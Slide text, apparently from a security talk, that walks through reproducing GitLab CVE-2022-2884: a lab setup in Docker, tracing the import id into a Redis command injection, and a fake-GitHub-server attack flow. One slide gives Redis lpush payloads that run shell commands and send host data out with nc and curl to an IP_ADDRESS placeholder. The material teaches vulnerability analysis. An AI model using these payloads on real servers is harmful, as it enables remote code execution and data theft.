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GitLab - CVE-2022-2884

https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/



  

What is GitLab?

https://about.gitlab.com/



  

Let’s try to “discover” the exploit blindly
● We can use:

– Bulletin – https://about.gitlab.com/releases/2022/08/22/critical-security-
release-gitlab-15-3-1-released/

– Vulnerable container – gitlab/gitlab-ce:15.3.0-ce.0
– Vulnerable source code – 

https://gitlab.com/gitlab-org/gitlab-foss/-/commits/v15.3.0/
– Fixed source code – 

https://gitlab.com/gitlab-org/gitlab-foss/-/tree/v15.3.1/

● Let’s try not to use:
– Public (similar) exploits/write-ups

● https://hackerone.com/reports/1672388
● https://hackerone.com/reports/1679624



  

Local vulnerable environment
● Setup:

– export GITLAB_HOME=/srv/gitlab

– docker run --detach --rm \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 --publish 22:22 \
  --name vuln-gitlab \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  --shm-size 256m \
  gitlab/gitlab-ce:15.3.0-ce.0

– It might take a while before the Docker container starts to respond to queries.

– Connect to http://localhost

– Sign in with the username root and the password from the following command:
● docker exec -it vuln-gitlab grep 'Password:' 
/etc/gitlab/initial_root_password

● Tear down:
– docker stop vuln-gitlab

https://docs.gitlab.com/ee/install/docker.html#install-gitlab-using-docker-engine



 

Solution
https://hackerone.com/reports/1672388



  

Solution (1/7)
TL;DR GitLab uses Octokit, Octokit uses Sawyer, Sawyer 
“transforms keys to methods”.



  

Solution (2/7)
GitLab uses directly the responded Sawyer object to populate 
the id.

But what does it mean?



  

Solution (3/7)
Going deeper we can found the sink.

https://gitlab.com/gitlab-org/gitlab-foss/-/blob/v15.3.1/lib/gitlab/
github_import/parallel_scheduling.rb#L145

https://gitlab.com/gitlab-org/gitlab-foss/-/
blob/v15.3.1/lib/gitlab/cache/import/
caching.rb#L136



  

Solution (4/7)
The source is an imported item on which we can control the id.

https://gitlab.com/gitlab-org/gitlab-foss/-/blob/v15.3.1/lib/gitlab/
github_import/representation/issue.rb#L27

Speculation:
this is just one possible example

among representations, 
because other ids are present...



  

Solution (5/7)
Redis command composition can be abused to add an arbitrary 
command.

https://stackoverflow.com/questions/
12978018/redis-command-line-syntax

https://github.com/redis/redis-rb/blob/v4.4.0/lib/redis/connection/command_helper.rb#L8



  

Solution (6/7)
There are known gadgets to achieve RCE.

lpush resque:gitlab:queue:system_hook_push 
"{\"class\":\"GitlabShellWorker\",\"args\":
[\"class_eval\",\"open(\'| (hostname; ps aux)  | nc IP_ADDRESS PORT  
\').read\"],"queue\":\"system_hook_push\"}"

lpush resque:gitlab:queue:system_hook_push 
"{\"class\":\"PagesWorker\",\"args\":[\"class_eval\",\"IO.read('|
(hostname; ps aux) | curl IP_ADDRESS:PORT -X POST --data-binary @-  
')\"], \"queue\":\"system_hook_push\"}"

https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293



  

Solution (7/7)
Everything can be triggered pointing to an evil fake GitHub 
server via API usage.

https://docs.gitlab.com/ee/
api/import.html



  

Architecture

Attacker

Victim Server

Attacker controlled
fake GitHub Server

(1) Send malicious import request

(2) Start im
port process*

(3) Send RCE payload*

(4) Reverse shell / data exfiltration

(0) Setup

* It’s slightly more 
complex than this...



  

The real interaction is more complex

Here the RCE payload is returned.



  

I copy-pasted wrote my exploit



 

That’s all folks!
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